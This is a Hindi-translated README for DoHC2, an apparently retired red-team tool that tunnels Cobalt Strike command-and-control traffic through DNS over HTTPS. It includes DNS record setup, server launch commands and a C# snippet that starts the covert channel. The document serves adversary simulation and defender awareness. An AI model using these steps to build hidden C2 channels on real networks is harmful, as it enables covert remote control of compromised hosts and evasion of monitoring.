⚠️ नोट: यह उपकरण अब सक्रिय रखरखाव के अंतर्गत नहीं है।
DoHC2
DoHC2, Ryan Hanson (https://github.com/ryhanson/ExternalC2) के ExternalC2 पुस्तकालय का उपयोग DNS over HTTPS (DoH) के माध्यम से कमांड और कंट्रोल (C2) के लिए करने की अनुमति देता है। यह लोकप्रिय Adversary Simulation और Red Team Operations Software Cobalt Strike (https://www.cobaltstrike.com) के लिए बनाया गया है।
प्रस्तुति
यह परियोजना 23 अक्टूबर 2018 को Mitre ATT&CKcon में जारी की गई थी।
स्लाइड्स:
Playing Devil’s Advocate to Security Initiatives with ATT&CK
ब्लॉग आलेख:
DOH! DNS Over HTTPS उद्यमों के लिए संभावित जोखिम पैदा करता है
आरेख

उपयोग
- Cobaltstrike teamserver स्थापित करें और लॉन्च करें।
- beacon_http/beacon_https लिसनर लॉन्च करें - Gotcha इसे फायरवॉल किया जा सकता है लेकिन External C2 के काम करने के लिए आपको इसकी आवश्यकता है।
- ExternalC2 पोर्ट 2222 (फायरवॉल बंद) शुरू करने के लिए स्क्रिप्ट 'external_c2.cna' लोड करें।
- python3 सर्वर के लिए निर्भरताएँ स्थापित करें।
- इंटरनेट (या DoH प्रदाता IP रेंज) के लिए पोर्ट 53/udp की अनुमति दें।
- अपने डोमेन पर एक A रिकॉर्ड बनाएँ जो teamserver/DNS सर्वर IP की ओर इंगित करे, जैसे [A] entry.example.org -> 000.000.000.000
- भेजने वाले चैनल (INPUTDOMAIN) के लिए A रिकॉर्ड की ओर इंगित करने के लिए एक NS रिकॉर्ड बनाएँ, जैसे [NS] send.example.org -> entry.example.org।
- प्राप्त करने वाले चैनल (OUTPUTDOMAIN) के लिए A रिकॉर्ड की ओर इंगित करने के लिए एक NS रिकॉर्ड बनाएँ, जैसे [NS] receive.example.org -> entry.example.org।
- DoHC2.py में INPUTDOMAIN और OUTPUTDOMAIN बदलें। एन्क्रिप्शन कुंजी/IV बदलें - इसका उपयोग Teamserver-->Client Only से पथ को एन्क्रिप्ट करने के लिए किया जाता है (Stager को एन्क्रिप्ट करता है)। DoH प्रदाता के आधार पर max_records को 1 से बदलें, कुछ प्रदाता लौटाए गए रिकॉर्ड को पुनः क्रमित करते हैं जो वर्तमान में संभाला नहीं जाता है। DNS सर्वर के साथ अधिकतम 5 अच्छा काम करता है।
- python3 DNS सर्वर लॉन्च करें।
- ExternalC2 पुस्तकालय बनाएँ। DoHChannel.cs में एन्क्रिप्शन कुंजी/IV को python3 सर्वर से मैच करने के लिए बदलें।
- नीचे दिए अनुसार DoHC2() को कॉन्फ़िगर और लॉन्च करें, यह सुनिश्चित करते हुए कि INPUTDOMAIN, OUTPUTDOMAIN और एक DoH प्रदाता को 'https://resolver.example.org/dns-query' प्रारूप में सेट किया गया है।
सर्वर
Python DNS सर्वर ACME DNS Server पर आधारित है
- यह डिफ़ॉल्ट रूप से 127.0.0.1:2222 पर Cobalt Strike Teamserver को रॉ DNS इंटरफ़ेस करता है।
- INPUTDOMAIN और OUTPUTDOMAIN को ऐसे होस्ट में बदलें जो सर्वर के बाहरी IP के NS हैं:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
पुस्तकालय
@ryhanson का ExternalC2 निम्नलिखित परिवर्धन के साथ:
उदाहरण क्लाइंट
- ExternalC2 के बाकी हिस्सों की तरह DoHC2 JScript/DotNetToJS के लिए COMVisible है, लेकिन इसे शुरू करने का यह एक सरल उदाहरण है।
- उदाहरण क्लाइंट DoHC2Runner एक सरल C# प्रोग्राम है जो पुस्तकालय को लोड करने और इसे निम्नानुसार सेट करने का प्रदर्शन करता है:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
लेखक
लाइसेंस
DoHC2
Some elements created by David Middlehurst, SpiderLabs as described above
(Please refer to respective licenses where other open-source projects are utilised).
Copyright (C) 2018 Trustwave Holdings, Inc.
यह प्रोग्राम मुफ्त सॉफ्टवेयर है: आप इसे GNU जनरल पब्लिक लाइसेंस की शर्तों के तहत पुनर्वितरित और/या संशोधित कर सकते हैं जैसा कि फ्री सॉफ्टवेयर फाउंडेशन द्वारा प्रकाशित किया गया है, लाइसेंस के संस्करण 3 या (आपकी पसंद पर) किसी भी बाद के संस्करण के तहत।
यह प्रोग्राम इस उम्मीद में वितरित किया जाता है कि यह उपयोगी होगा, लेकिन बिना किसी वारंटी के; व्यापारिकता या किसी विशेष उद्देश्य के लिए उपयुक्तता की निहित वारंटी के बिना भी। अधिक जानकारी के लिए GNU जनरल पब्लिक लाइसेंस देखें।
स्वीकृतियाँ
योगदानकर्ता